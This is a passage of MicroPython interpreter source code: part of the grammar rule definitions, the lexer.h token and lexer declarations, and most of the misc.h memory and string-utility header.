DEF_RULE_NC(import_stmt, or(2), rule(import_name), rule(import_from)) DEF_RULE(import_name, c(import_name), and(2), tok(KW_IMPORT), rule(dotted_as_names)) DEF_RULE(import_from, c(import_from), and(4), tok(KW_FROM), rule(import_from_2), tok(KW_IMPORT), rule(import_from_3)) DEF_RULE_NC(import_from_2, or(2), rule(dotted_name), rule(import_from_2b)) DEF_RULE_NC(import_from_2b, and_ident(2), rule(one_or_more_period_or_ellipsis), opt_rule(dotted_name)) DEF_RULE_NC(import_from_3, or(3), tok(OP_STAR), rule(import_as_names_paren), rule(import_as_names)) DEF_RULE_NC(import_as_names_paren, and_ident(3), tok(DEL_PAREN_OPEN), rule(import_as_names), tok(DEL_PAREN_CLOSE)) DEF_RULE_NC(one_or_more_period_or_ellipsis, one_or_more, rule(period_or_ellipsis)) DEF_RULE_NC(period_or_ellipsis, or(2), tok(DEL_PERIOD), tok(ELLIPSIS)) DEF_RULE_NC(import_as_name, and(2), tok(NAME), opt_rule(as_name)) DEF_RULE_NC(dotted_as_name, and_ident(2), rule(dotted_name), opt_rule(as_name)) DEF_RULE_NC(as_name, and_ident(2), tok(KW_AS), tok(NAME)) DEF_RULE_NC(import_as_names, list_with_end, rule(import_as_name), tok(DEL_COMMA)) DEF_RULE_NC(dotted_as_names, list, rule(dotted_as_name), tok(DEL_COMMA)) DEF_RULE_NC(dotted_name, list, tok(NAME), tok(DEL_PERIOD)) DEF_RULE(global_stmt, c(global_stmt), and(2), tok(KW_GLOBAL), rule(name_list)) DEF_RULE(nonlocal_stmt, c(nonlocal_stmt), and(2), tok(KW_NONLOCAL), rule(name_list)) DEF_RULE_NC(name_list, list, tok(NAME), tok(DEL_COMMA)) DEF_RULE(assert_stmt, c(assert_stmt), and(3), tok(KW_ASSERT), rule(test), opt_rule(assert_stmt_extra)) DEF_RULE_NC(assert_stmt_extra, and_ident(2), tok(DEL_COMMA), rule(test)) // compound_stmt: if_stmt | while_stmt | for_stmt | try_stmt | with_stmt | funcdef | classdef | decorated | async_stmt // if_stmt: 'if' test ':' suite ('elif' test ':' suite)* ['else' ':' suite] // while_stmt: 'while' test ':' suite ['else' ':' suite] // for_stmt: 'for' exprlist 'in' testlist ':' suite ['else' ':' suite] // try_stmt: 'try' ':' suite ((except_clause ':' suite)+ ['else' ':' suite] ['finally' ':' suite] | 'finally' ':' suite) // # NB compile.c makes sure that the default except clause is last // except_clause: 'except' [test ['as' NAME]] // with_stmt: 'with' with_item (',' with_item)* ':' suite // with_item: test ['as' expr] // suite: simple_stmt | NEWLINE INDENT stmt+ DEDENT // async_stmt: 'async' (funcdef | with_stmt | for_stmt) #if MICROPY_PY_ASYNC_AWAIT DEF_RULE_NC(compound_stmt, or(9), rule(if_stmt), rule(while_stmt), rule(for_stmt), rule(try_stmt), rule(with_stmt), rule(funcdef), rule(classdef), rule(decorated), rule(async_stmt)) DEF_RULE(async_stmt, c(async_stmt), and(2), tok(KW_ASYNC), rule(async_stmt_2)) DEF_RULE_NC(async_stmt_2, or(3), rule(funcdef), rule(with_stmt), rule(for_stmt)) #else DEF_RULE_NC(compound_stmt, or(8), rule(if_stmt), rule(while_stmt), rule(for_stmt), rule(try_stmt), rule(with_stmt), rule(funcdef), rule(classdef), rule(decorated)) #endif DEF_RULE(if_stmt, c(if_stmt), and(6), tok(KW_IF), rule(test), tok(DEL_COLON), rule(suite), opt_rule(if_stmt_elif_list), opt_rule(else_stmt)) DEF_RULE_NC(if_stmt_elif_list, one_or_more, rule(if_stmt_elif)) DEF_RULE_NC(if_stmt_elif, and(4), tok(KW_ELIF), rule(test), tok(DEL_COLON), rule(suite)) DEF_RULE(while_stmt, c(while_stmt), and(5), tok(KW_WHILE), rule(test), tok(DEL_COLON), rule(suite), opt_rule(else_stmt)) DEF_RULE(for_stmt, c(for_stmt), and(7), tok(KW_FOR), rule(exprlist), tok(KW_IN), rule(testlist), tok(DEL_COLON), rule(suite), opt_rule(else_stmt)) DEF_RULE(try_stmt, c(try_stmt), and(4), tok(KW_TRY), tok(DEL_COLON), rule(suite), rule(try_stmt_2)) DEF_RULE_NC(try_stmt_2, or(2), rule(try_stmt_except_and_more), rule(try_stmt_finally)) DEF_RULE_NC(try_stmt_except_and_more, and_ident(3), rule(try_stmt_except_list), opt_rule(else_stmt), opt_rule(try_stmt_finally)) DEF_RULE_NC(try_stmt_except, and(4), tok(KW_EXCEPT), opt_rule(try_stmt_as_name), tok(DEL_COLON), rule(suite)) DEF_RULE_NC(try_stmt_as_name, and_ident(2), rule(test), opt_rule(as_name)) DEF_RULE_NC(try_stmt_except_list, one_or_more, rule(try_stmt_except)) DEF_RULE_NC(try_stmt_finally, and(3), tok(KW_FINALLY), tok(DEL_COLON), rule(suite)) DEF_RULE_NC(else_stmt, and_ident(3), tok(KW_ELSE), tok(DEL_COLON), rule(suite)) DEF_RULE(with_stmt, c(with_stmt), and(4), tok(KW_WITH), rule(with_stmt_list), tok(DEL_COLON), rule(suite)) DEF_RULE_NC(with_stmt_list, list, rule(with_item), tok(DEL_COMMA)) DEF_RULE_NC(with_item, and_ident(2), rule(test), opt_rule(with_item_as)) DEF_RULE_NC(with_item_as, and_ident(2), tok(KW_AS), rule(expr)) DEF_RULE_NC(suite, or(2), rule(suite_block), rule(simple_stmt)) DEF_RULE_NC(suite_block, and_ident(4), tok(NEWLINE), tok(INDENT), rule(suite_block_stmts), tok(DEDENT)) DEF_RULE(suite_block_stmts, c(generic_all_nodes), one_or_more, rule(stmt)) // test: or_test ['if' or_test 'else' test] | lambdef // test_nocond: or_test | lambdef_nocond // lambdef: 'lambda' [varargslist] ':' test // lambdef_nocond: 'lambda' [varargslist] ':' test_nocond DEF_RULE_NC(test, or(2), rule(lambdef), rule(test_if_expr)) DEF_RULE(test_if_expr, c(test_if_expr), and_ident(2), rule(or_test), opt_rule(test_if_else)) DEF_RULE_NC(test_if_else, and(4), tok(KW_IF), rule(or_test), tok(KW_ELSE), rule(test)) DEF_RULE_NC(test_nocond, or(2), rule(lambdef_nocond), rule(or_test)) DEF_RULE(lambdef, c(lambdef), and_blank(4), tok(KW_LAMBDA), opt_rule(varargslist), tok(DEL_COLON), rule(test)) DEF_RULE(lambdef_nocond, c(lambdef), and_blank(4), tok(KW_LAMBDA), opt_rule(varargslist), tok(DEL_COLON), rule(test_nocond)) // or_test: and_test ('or' and_test)* // and_test: not_test ('and' not_test)* // not_test: 'not' not_test | comparison // comparison: expr (comp_op expr)* // comp_op: '<'|'>'|'=='|'>='|'<='|'!='|'in'|'not' 'in'|'is'|'is' 'not' // star_expr: '*' expr // expr: xor_expr ('|' xor_expr)* // xor_expr: and_expr ('^' and_expr)* // and_expr: shift_expr ('&' shift_expr)* // shift_expr: arith_expr (('<<'|'>>') arith_expr)* // arith_expr: term (('+'|'-') term)* // term: factor (('*'|'/'|'%'|'//') factor)* // factor: ('+'|'-'|'~') factor | power // power: atom_expr ['**' factor] // atom_expr: 'await' atom trailer* | atom trailer* DEF_RULE(or_test, c(or_test), list, rule(and_test), tok(KW_OR)) DEF_RULE(and_test, c(and_test), list, rule(not_test), tok(KW_AND)) DEF_RULE_NC(not_test, or(2), rule(not_test_2), rule(comparison)) DEF_RULE(not_test_2, c(not_test_2), and(2), tok(KW_NOT), rule(not_test)) DEF_RULE(comparison, c(comparison), list, rule(expr), rule(comp_op)) DEF_RULE_NC(comp_op, or(9), tok(OP_LESS), tok(OP_MORE), tok(OP_DBL_EQUAL), tok(OP_LESS_EQUAL), tok(OP_MORE_EQUAL), tok(OP_NOT_EQUAL), tok(KW_IN), rule(comp_op_not_in), rule(comp_op_is)) DEF_RULE_NC(comp_op_not_in, and(2), tok(KW_NOT), tok(KW_IN)) DEF_RULE_NC(comp_op_is, and(2), tok(KW_IS), opt_rule(comp_op_is_not)) DEF_RULE_NC(comp_op_is_not, and(1), tok(KW_NOT)) DEF_RULE(star_expr, c(star_expr), and(2), tok(OP_STAR), rule(expr)) DEF_RULE(expr, c(expr), list, rule(xor_expr), tok(OP_PIPE)) DEF_RULE(xor_expr, c(xor_expr), list, rule(and_expr), tok(OP_CARET)) DEF_RULE(and_expr, c(and_expr), list, rule(shift_expr), tok(OP_AMPERSAND)) DEF_RULE(shift_expr, c(term), list, rule(arith_expr), rule(shift_op)) DEF_RULE_NC(shift_op, or(2), tok(OP_DBL_LESS), tok(OP_DBL_MORE)) DEF_RULE(arith_expr, c(term), list, rule(term), rule(arith_op)) DEF_RULE_NC(arith_op, or(2), tok(OP_PLUS), tok(OP_MINUS)) DEF_RULE(term, c(term), list, rule(factor), rule(term_op)) DEF_RULE_NC(term_op, or(4), tok(OP_STAR), tok(OP_SLASH), tok(OP_PERCENT), tok(OP_DBL_SLASH)) DEF_RULE_NC(factor, or(2), rule(factor_2), rule(power)) DEF_RULE(factor_2, c(factor_2), and_ident(2), rule(factor_op), rule(factor)) DEF_RULE_NC(factor_op, or(3), tok(OP_PLUS), tok(OP_MINUS), tok(OP_TILDE)) DEF_RULE(power, c(power), and_ident(2), rule(atom_expr), opt_rule(power_dbl_star)) #if MICROPY_PY_ASYNC_AWAIT DEF_RULE_NC(atom_expr, or(2), rule(atom_expr_await), rule(atom_expr_normal)) DEF_RULE(atom_expr_await, c(atom_expr_await), and(3), tok(KW_AWAIT), rule(atom), opt_rule(atom_expr_trailers)) #else DEF_RULE_NC(atom_expr, or(1), rule(atom_expr_normal)) #endif DEF_RULE(atom_expr_normal, c(atom_expr_normal), and_ident(2), rule(atom), opt_rule(atom_expr_trailers)) DEF_RULE_NC(atom_expr_trailers, one_or_more, rule(trailer)) DEF_RULE_NC(power_dbl_star, and_ident(2), tok(OP_DBL_STAR), rule(factor)) // atom: '(' [yield_expr|testlist_comp] ')' | '[' [testlist_comp] ']' | '{' [dictorsetmaker] '}' | NAME | NUMBER | STRING+ | '...' | 'None' | 'True' | 'False' // testlist_comp: (test|star_expr) ( comp_for | (',' (test|star_expr))* [','] ) // trailer: '(' [arglist] ')' | '[' subscriptlist ']' | '.' NAME DEF_RULE_NC(atom, or(12), tok(NAME), tok(INTEGER), tok(FLOAT_OR_IMAG), tok(STRING), tok(BYTES), tok(ELLIPSIS), tok(KW_NONE), tok(KW_TRUE), tok(KW_FALSE), rule(atom_paren), rule(atom_bracket), rule(atom_brace)) DEF_RULE(atom_paren, c(atom_paren), and(3), tok(DEL_PAREN_OPEN), opt_rule(atom_2b), tok(DEL_PAREN_CLOSE)) DEF_RULE_NC(atom_2b, or(2), rule(yield_expr), rule(testlist_comp)) DEF_RULE(atom_bracket, c(atom_bracket), and(3), tok(DEL_BRACKET_OPEN), opt_rule(testlist_comp), tok(DEL_BRACKET_CLOSE)) DEF_RULE(atom_brace, c(atom_brace), and(3), tok(DEL_BRACE_OPEN), opt_rule(dictorsetmaker), tok(DEL_BRACE_CLOSE)) DEF_RULE_NC(testlist_comp, and_ident(2), rule(testlist_comp_2), opt_rule(testlist_comp_3)) DEF_RULE_NC(testlist_comp_2, or(2), rule(star_expr), rule(test)) DEF_RULE_NC(testlist_comp_3, or(2), rule(comp_for), rule(testlist_comp_3b)) DEF_RULE_NC(testlist_comp_3b, and_ident(2), tok(DEL_COMMA), opt_rule(testlist_comp_3c)) DEF_RULE_NC(testlist_comp_3c, list_with_end, rule(testlist_comp_2), tok(DEL_COMMA)) DEF_RULE_NC(trailer, or(3), rule(trailer_paren), rule(trailer_bracket), rule(trailer_period)) DEF_RULE(trailer_paren, c(trailer_paren), and(3), tok(DEL_PAREN_OPEN), opt_rule(arglist), tok(DEL_PAREN_CLOSE)) DEF_RULE(trailer_bracket, c(trailer_bracket), and(3), tok(DEL_BRACKET_OPEN), rule(subscriptlist), tok(DEL_BRACKET_CLOSE)) DEF_RULE(trailer_period, c(trailer_period), and(2), tok(DEL_PERIOD), tok(NAME)) // subscriptlist: subscript (',' subscript)* [','] // subscript: test | [test] ':' [test] [sliceop] // sliceop: ':' [test] #if MICROPY_PY_BUILTINS_SLICE DEF_RULE(subscriptlist, c(generic_tuple), list_with_end, rule(subscript), tok(DEL_COMMA)) DEF_RULE_NC(subscript, or(2), rule(subscript_3), rule(subscript_2)) DEF_RULE(subscript_2, c(subscript_2), and_ident(2), rule(test), opt_rule(subscript_3)) DEF_RULE(subscript_3, c(subscript_3), and(2), tok(DEL_COLON), opt_rule(subscript_3b)) DEF_RULE_NC(subscript_3b, or(2), rule(subscript_3c), rule(subscript_3d)) DEF_RULE_NC(subscript_3c, and(2), tok(DEL_COLON), opt_rule(test)) DEF_RULE_NC(subscript_3d, and_ident(2), rule(test), opt_rule(sliceop)) DEF_RULE_NC(sliceop, and(2), tok(DEL_COLON), opt_rule(test)) #else DEF_RULE(subscriptlist, c(generic_tuple), list_with_end, rule(test), tok(DEL_COMMA)) #endif // exprlist: (expr|star_expr) (',' (expr|star_expr))* [','] // testlist: test (',' test)* [','] // dictorsetmaker: (test ':' test (comp_for | (',' test ':' test)* [','])) | (test (comp_for | (',' test)* [','])) DEF_RULE_NC(exprlist, list_with_end, rule(exprlist_2), tok(DEL_COMMA)) DEF_RULE_NC(exprlist_2, or(2), rule(star_expr), rule(expr)) DEF_RULE(testlist, c(generic_tuple), list_with_end, rule(test), tok(DEL_COMMA)) // TODO dictorsetmaker lets through more than is allowed DEF_RULE_NC(dictorsetmaker, and_ident(2), rule(dictorsetmaker_item), opt_rule(dictorsetmaker_tail)) #if MICROPY_PY_BUILTINS_SET DEF_RULE(dictorsetmaker_item, c(dictorsetmaker_item), and_ident(2), rule(test), opt_rule(dictorsetmaker_colon)) DEF_RULE_NC(dictorsetmaker_colon, and_ident(2), tok(DEL_COLON), rule(test)) #else DEF_RULE(dictorsetmaker_item, c(dictorsetmaker_item), and(3), rule(test), tok(DEL_COLON), rule(test)) #endif DEF_RULE_NC(dictorsetmaker_tail, or(2), rule(comp_for), rule(dictorsetmaker_list)) DEF_RULE_NC(dictorsetmaker_list, and(2), tok(DEL_COMMA), opt_rule(dictorsetmaker_list2)) DEF_RULE_NC(dictorsetmaker_list2, list_with_end, rule(dictorsetmaker_item), tok(DEL_COMMA)) // classdef: 'class' NAME ['(' [arglist] ')'] ':' suite DEF_RULE(classdef, c(classdef), and_blank(5), tok(KW_CLASS), tok(NAME), opt_rule(classdef_2), tok(DEL_COLON), rule(suite)) DEF_RULE_NC(classdef_2, and_ident(3), tok(DEL_PAREN_OPEN), opt_rule(arglist), tok(DEL_PAREN_CLOSE)) // arglist: (argument ',')* (argument [','] | '*' test (',' argument)* [',' '**' test] | '**' test) // TODO arglist lets through more than is allowed, compiler needs to do further verification DEF_RULE_NC(arglist, list_with_end, rule(arglist_2), tok(DEL_COMMA)) DEF_RULE_NC(arglist_2, or(3), rule(arglist_star), rule(arglist_dbl_star), rule(argument)) DEF_RULE_NC(arglist_star, and(2), tok(OP_STAR), rule(test)) DEF_RULE_NC(arglist_dbl_star, and(2), tok(OP_DBL_STAR), rule(test)) // # The reason that keywords are test nodes instead of NAME is that using NAME // # results in an ambiguity. ast.c makes sure it's a NAME. // argument: test [comp_for] | test '=' test # Really [keyword '='] test // comp_iter: comp_for | comp_if // comp_for: 'for' exprlist 'in' or_test [comp_iter] // comp_if: 'if' test_nocond [comp_iter] DEF_RULE_NC(argument, and_ident(2), rule(test), opt_rule(argument_2)) DEF_RULE_NC(argument_2, or(2), rule(comp_for), rule(argument_3)) DEF_RULE_NC(argument_3, and_ident(2), tok(DEL_EQUAL), rule(test)) DEF_RULE_NC(comp_iter, or(2), rule(comp_for), rule(comp_if)) DEF_RULE_NC(comp_for, and_blank(5), tok(KW_FOR), rule(exprlist), tok(KW_IN), rule(or_test), opt_rule(comp_iter)) DEF_RULE_NC(comp_if, and(3), tok(KW_IF), rule(test_nocond), opt_rule(comp_iter)) // # not used in grammar, but may appear in "node" passed from Parser to Compiler // encoding_decl: NAME // yield_expr: 'yield' [yield_arg] // yield_arg: 'from' test | testlist DEF_RULE(yield_expr, c(yield_expr), and(2), tok(KW_YIELD), opt_rule(yield_arg)) DEF_RULE_NC(yield_arg, or(2), rule(yield_arg_from), rule(testlist)) DEF_RULE_NC(yield_arg_from, and(2), tok(KW_FROM), rule(test)) ================================================ FILE: micropython/inc/py/lexer.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_LEXER_H #define MICROPY_INCLUDED_PY_LEXER_H #include #include "py/mpconfig.h" #include "py/qstr.h" #include "py/reader.h" /* lexer.h -- simple tokeniser for MicroPython * * Uses (byte) length instead of null termination. * Tokens are the same - UTF-8 with (byte) length. */ typedef enum _mp_token_kind_t { MP_TOKEN_END, MP_TOKEN_INVALID, MP_TOKEN_DEDENT_MISMATCH, MP_TOKEN_LONELY_STRING_OPEN, MP_TOKEN_NEWLINE, MP_TOKEN_INDENT, MP_TOKEN_DEDENT, MP_TOKEN_NAME, MP_TOKEN_INTEGER, MP_TOKEN_FLOAT_OR_IMAG, MP_TOKEN_STRING, MP_TOKEN_BYTES, MP_TOKEN_ELLIPSIS, MP_TOKEN_KW_FALSE, MP_TOKEN_KW_NONE, MP_TOKEN_KW_TRUE, MP_TOKEN_KW___DEBUG__, MP_TOKEN_KW_AND, MP_TOKEN_KW_AS, MP_TOKEN_KW_ASSERT, #if MICROPY_PY_ASYNC_AWAIT MP_TOKEN_KW_ASYNC, MP_TOKEN_KW_AWAIT, #endif MP_TOKEN_KW_BREAK, MP_TOKEN_KW_CLASS, MP_TOKEN_KW_CONTINUE, MP_TOKEN_KW_DEF, MP_TOKEN_KW_DEL, MP_TOKEN_KW_ELIF, MP_TOKEN_KW_ELSE, MP_TOKEN_KW_EXCEPT, MP_TOKEN_KW_FINALLY, MP_TOKEN_KW_FOR, MP_TOKEN_KW_FROM, MP_TOKEN_KW_GLOBAL, MP_TOKEN_KW_IF, MP_TOKEN_KW_IMPORT, MP_TOKEN_KW_IN, MP_TOKEN_KW_IS, MP_TOKEN_KW_LAMBDA, MP_TOKEN_KW_NONLOCAL, MP_TOKEN_KW_NOT, MP_TOKEN_KW_OR, MP_TOKEN_KW_PASS, MP_TOKEN_KW_RAISE, MP_TOKEN_KW_RETURN, MP_TOKEN_KW_TRY, MP_TOKEN_KW_WHILE, MP_TOKEN_KW_WITH, MP_TOKEN_KW_YIELD, MP_TOKEN_OP_PLUS, MP_TOKEN_OP_MINUS, MP_TOKEN_OP_STAR, MP_TOKEN_OP_DBL_STAR, MP_TOKEN_OP_SLASH, MP_TOKEN_OP_DBL_SLASH, MP_TOKEN_OP_PERCENT, MP_TOKEN_OP_LESS, MP_TOKEN_OP_DBL_LESS, MP_TOKEN_OP_MORE, MP_TOKEN_OP_DBL_MORE, MP_TOKEN_OP_AMPERSAND, MP_TOKEN_OP_PIPE, MP_TOKEN_OP_CARET, MP_TOKEN_OP_TILDE, MP_TOKEN_OP_LESS_EQUAL, MP_TOKEN_OP_MORE_EQUAL, MP_TOKEN_OP_DBL_EQUAL, MP_TOKEN_OP_NOT_EQUAL, MP_TOKEN_DEL_PAREN_OPEN, MP_TOKEN_DEL_PAREN_CLOSE, MP_TOKEN_DEL_BRACKET_OPEN, MP_TOKEN_DEL_BRACKET_CLOSE, MP_TOKEN_DEL_BRACE_OPEN, MP_TOKEN_DEL_BRACE_CLOSE, MP_TOKEN_DEL_COMMA, MP_TOKEN_DEL_COLON, MP_TOKEN_DEL_PERIOD, MP_TOKEN_DEL_SEMICOLON, MP_TOKEN_DEL_AT, MP_TOKEN_DEL_EQUAL, MP_TOKEN_DEL_PLUS_EQUAL, MP_TOKEN_DEL_MINUS_EQUAL, MP_TOKEN_DEL_STAR_EQUAL, MP_TOKEN_DEL_SLASH_EQUAL, MP_TOKEN_DEL_DBL_SLASH_EQUAL, MP_TOKEN_DEL_PERCENT_EQUAL, MP_TOKEN_DEL_AMPERSAND_EQUAL, MP_TOKEN_DEL_PIPE_EQUAL, MP_TOKEN_DEL_CARET_EQUAL, MP_TOKEN_DEL_DBL_MORE_EQUAL, MP_TOKEN_DEL_DBL_LESS_EQUAL, MP_TOKEN_DEL_DBL_STAR_EQUAL, MP_TOKEN_DEL_MINUS_MORE, } mp_token_kind_t; // this data structure is exposed for efficiency // public members are: source_name, tok_line, tok_column, tok_kind, vstr typedef struct _mp_lexer_t { qstr source_name; // name of source mp_reader_t reader; // stream source unichar chr0, chr1, chr2; // current cached characters from source size_t line; // current source line size_t column; // current source column mp_int_t emit_dent; // non-zero when there are INDENT/DEDENT tokens to emit mp_int_t nested_bracket_level; // >0 when there are nested brackets over multiple lines size_t alloc_indent_level; size_t num_indent_level; uint16_t *indent_level; size_t tok_line; // token source line size_t tok_column; // token source column mp_token_kind_t tok_kind; // token kind vstr_t vstr; // token data } mp_lexer_t; mp_lexer_t *mp_lexer_new(qstr src_name, mp_reader_t reader); mp_lexer_t *mp_lexer_new_from_str_len(qstr src_name, const char *str, size_t len, size_t free_len); void mp_lexer_free(mp_lexer_t *lex); void mp_lexer_to_next(mp_lexer_t *lex); /******************************************************************/ // platform specific import function; must be implemented for a specific port // TODO tidy up, rename, or put elsewhere //mp_lexer_t *mp_import_open_file(qstr mod_name); typedef enum { MP_IMPORT_STAT_NO_EXIST, MP_IMPORT_STAT_DIR, MP_IMPORT_STAT_FILE, } mp_import_stat_t; mp_import_stat_t mp_import_stat(const char *path); mp_lexer_t *mp_lexer_new_from_file(const char *filename); #if MICROPY_HELPER_LEXER_UNIX mp_lexer_t *mp_lexer_new_from_fd(qstr filename, int fd, bool close_fd); #endif #endif // MICROPY_INCLUDED_PY_LEXER_H ================================================ FILE: micropython/inc/py/misc.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_MISC_H #define MICROPY_INCLUDED_PY_MISC_H // a mini library of useful types and functions /** types *******************************************************/ #include #include #include typedef unsigned char byte; typedef unsigned int uint; /** generic ops *************************************************/ #ifndef MIN #define MIN(x, y) ((x) < (y) ? (x) : (y)) #endif #ifndef MAX #define MAX(x, y) ((x) > (y) ? (x) : (y)) #endif // Classical double-indirection stringification of preprocessor macro's value #define _MP_STRINGIFY(x) #x #define MP_STRINGIFY(x) _MP_STRINGIFY(x) /** memory allocation ******************************************/ // TODO make a lazy m_renew that can increase by a smaller amount than requested (but by at least 1 more element) #define m_new(type, num) ((type*)(m_malloc(sizeof(type) * (num)))) #define m_new_maybe(type, num) ((type*)(m_malloc_maybe(sizeof(type) * (num)))) #define m_new0(type, num) ((type*)(m_malloc0(sizeof(type) * (num)))) #define m_new_obj(type) (m_new(type, 1)) #define m_new_obj_maybe(type) (m_new_maybe(type, 1)) #define m_new_obj_var(obj_type, var_type, var_num) ((obj_type*)m_malloc(sizeof(obj_type) + sizeof(var_type) * (var_num))) #define m_new_obj_var_maybe(obj_type, var_type, var_num) ((obj_type*)m_malloc_maybe(sizeof(obj_type) + sizeof(var_type) * (var_num))) #if MICROPY_ENABLE_FINALISER #define m_new_obj_with_finaliser(type) ((type*)(m_malloc_with_finaliser(sizeof(type)))) #else #define m_new_obj_with_finaliser(type) m_new_obj(type) #endif #if MICROPY_MALLOC_USES_ALLOCATED_SIZE #define m_renew(type, ptr, old_num, new_num) ((type*)(m_realloc((ptr), sizeof(type) * (old_num), sizeof(type) * (new_num)))) #define m_renew_maybe(type, ptr, old_num, new_num, allow_move) ((type*)(m_realloc_maybe((ptr), sizeof(type) * (old_num), sizeof(type) * (new_num), (allow_move)))) #define m_del(type, ptr, num) m_free(ptr, sizeof(type) * (num)) #define m_del_var(obj_type, var_type, var_num, ptr) (m_free(ptr, sizeof(obj_type) + sizeof(var_type) * (var_num))) #else #define m_renew(type, ptr, old_num, new_num) ((type*)(m_realloc((ptr), sizeof(type) * (new_num)))) #define m_renew_maybe(type, ptr, old_num, new_num, allow_move) ((type*)(m_realloc_maybe((ptr), sizeof(type) * (new_num), (allow_move)))) #define m_del(type, ptr, num) ((void)(num), m_free(ptr)) #define m_del_var(obj_type, var_type, var_num, ptr) ((void)(var_num), m_free(ptr)) #endif #define m_del_obj(type, ptr) (m_del(type, ptr, 1)) void *m_malloc(size_t num_bytes); void *m_malloc_maybe(size_t num_bytes); void *m_malloc_with_finaliser(size_t num_bytes); void *m_malloc0(size_t num_bytes); #if MICROPY_MALLOC_USES_ALLOCATED_SIZE void *m_realloc(void *ptr, size_t old_num_bytes, size_t new_num_bytes); void *m_realloc_maybe(void *ptr, size_t old_num_bytes, size_t new_num_bytes, bool allow_move); void m_free(void *ptr, size_t num_bytes); #else void *m_realloc(void *ptr, size_t new_num_bytes); void *m_realloc_maybe(void *ptr, size_t new_num_bytes, bool allow_move); void m_free(void *ptr); #endif NORETURN void *m_malloc_fail(size_t num_bytes); #if MICROPY_MEM_STATS size_t m_get_total_bytes_allocated(void); size_t m_get_current_bytes_allocated(void); size_t m_get_peak_bytes_allocated(void); #endif /** array helpers ***********************************************/ // get the number of elements in a fixed-size array #define MP_ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0])) // align ptr to the nearest multiple of "alignment" #define MP_ALIGN(ptr, alignment) (void*)(((uintptr_t)(ptr) + ((alignment) - 1)) & ~((alignment) - 1)) /** unichar / UTF-8 *********************************************/ #if MICROPY_PY_BUILTINS_STR_UNICODE // with unicode enabled we need a type which can fit chars up to 0x10ffff typedef uint32_t unichar; #else // without unicode enabled we can only need to fit chars up to 0xff // (on 16-bit archs uint is 16-bits and more efficient than uint32_t) typedef uint unichar; #endif unichar utf8_get_char(const byte *s); const byte *utf8_next_char(const byte *s); bool unichar_isspace(unichar c); bool unichar_isalpha(unichar c); bool unichar_isprint(unichar c); bool unichar_isdigit(unichar c); bool unichar_isxdigit(unichar c); bool unichar_isident(unichar c); bool unichar_isupper(unichar c); bool unichar_islower(unichar c); unichar unichar_tolower(unichar c); unichar unichar_toupper(unichar c); mp_uint_t unichar_xdigit_value(unichar c); mp_uint_t unichar_charlen(const char *str, mp_uint_t len); #define UTF8_IS_NONASCII(ch) ((ch) & 0x80) #define UTF8_IS_CONT(ch) (((ch) & 0xC0) == 0x80) /** variable string *********************************************/ typedef struct _vstr_t { size_t alloc; size_t len; char *buf; bool fixed_buf : 1; } vstr_t; // convenience macro to declare a vstr with a fixed size buffer on the stack #define VSTR_FIXED(vstr, alloc) vstr_t vstr; char vstr##_buf[(alloc)]; vstr_init_fixed_buf(&vstr, (alloc), vstr##_buf); void vstr_init(vstr_t *vstr, size_t alloc); void vstr_init_len(vstr_t *vstr, size_t len); void vstr_init_fixed_buf(vstr_t *vstr, size_t alloc, char *buf); struct _mp_print_t; void vstr_init_print(vstr_t *vstr, size_t alloc, struct _mp_print_t *print); void vstr_clear(vstr_t *vstr); vstr_t *vstr_new(size_t alloc); void vstr_free(vstr_t *vstr); static inline void vstr_reset(vstr_t *vstr) { vstr->len = 0; } static inline char *vstr_str(vstr_t *vstr) { return vstr->buf; } static inline size_t vstr_len(vstr_t *vstr) { return vstr->len; } void vstr_hint_size(vstr_t *vstr, size_t size); char *vstr_extend(vstr_t *vstr, size_t size); char *vstr_add_len(vstr_t *vstr, size_t len); char *vstr_null_terminated_str(vstr_t *vstr); void vstr_add_byte(vstr_t *vstr, byte v); void vstr_add_char(vstr_t *vstr, unichar chr); void vstr_add_str(vstr_t *vstr, const char *str); void vstr_add_strn(vstr_t *vstr, const char *str, size_t len); char *vstr_ins_blank_bytes(vstr_t *vstr, size_t byte_pos, size_t byte_len); void vstr_ins_byte(vstr_t *vstr, size_t byte_pos, byte b); void vstr_ins_char(vstr_t *vstr, size_t char_pos, unichar chr); void vstr_cut_head_bytes(vstr_t *vstr, size_t bytes_to_cut); void vstr_cut_tail_bytes(vstr_t *vstr, size_t 